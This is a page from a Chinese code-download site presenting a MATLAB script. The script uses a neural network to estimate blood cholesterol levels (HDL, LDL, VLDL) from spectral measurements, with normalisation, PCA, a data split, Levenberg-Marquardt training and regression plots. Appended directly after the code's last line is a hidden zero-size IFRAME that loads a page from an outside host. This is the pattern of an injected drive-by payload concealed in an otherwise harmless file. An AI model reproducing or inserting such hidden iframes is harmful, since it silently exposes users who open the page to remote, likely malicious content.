⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dan_gu_chun_hanliangguji.m

📁 这是一个dan_gu_chun_hanliangguji.rar(胆固醇含量估计)的m文件
💻 M
字号:
% 这是一个将神经网络用于医疗应用的例子。用于从血样的光谱组成的测量中得到血清的胆固醇 
% 含量级别。我们有264个病人的血样值,包括21种波长的谱线的数据。基于光谱分类的胆固醇 
% 含量级别hdl,ldl,vldl。第一步,先将这些数据读入工作空间中,对这些数据进行规范处理,
% 然后对它们进行主要成分的分析。在MATLAB中有一个文件choles_all.mat,其中包含了需要的
% 数据。
%
% 胆固醇含量估计
%
    clear all;
    close all;
% 导入原始测量数据
    load choles_all;
% 对原始数据进行规范化处理,删除一些数据,适当保留了变化不小于0.01的数据。
    [pn,meanp,stdp,tn,meant,stdt]=prestd(p,t);
    [ptrans,transMat]=prepca(pn,0.001);
    [P,Q]=size(ptrans);
% 将原始数据分成几个部分作为不通用途,四分之一用于测试,四分之一用于确证,剩下的二分
% 之一用于训练网络。等间隔地在原始数据中抽取这些数据。
    iitst=2:4:Q;
    iival=4:4:Q;
    iitr=[1:4:Q 3:4:Q];
    vv.P=ptrans(:,iival);
    vv.T=tn(:,iival);
    vt.P=ptrans(:,iitst);
    vt.T=tn(:,iitst);
    ptr=ptrans(:,iitr);
    ttr=tn(:,iitr); 
% 建立网络。建立一个两层的网络,隐层使用传递函数tan-sigmoid,输出层采用线性传递函数。隐
% 层包含5个神经元,输出为3个神经元。
    net=newff(minmax(ptr),[5 3],{'tansig' 'purelin'},'trainlm');
% 训练网络。使用Levenberg-Marquardt算法来训练网络。
    net.trainParam.show=5;
    [net,tr]=train(net,ptr,ttr,[],[],vv,vt);
% 绘出训练过程中各误差的变化曲线
    plot(tr.epoch,tr.perf,'r',tr.epoch,tr.vperf,':g',tr.epoch,tr.tperf,'-.b');
    legend('训练','确证','测试',-1);
    xlabel('时间');
    ylabel('平方误差');
% 暂停仿真,按任意键继续
    pause;
% 得到各个级别的结果的线性回归结果,并绘出曲线
    an=sim(net,ptrans);
    a=poststd(an,meant,stdt);
    for i=1:3
        figure(i)
        [m(i),b(i),r(i)]=postreg(a(i,:),t(i,:)); 
    end<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -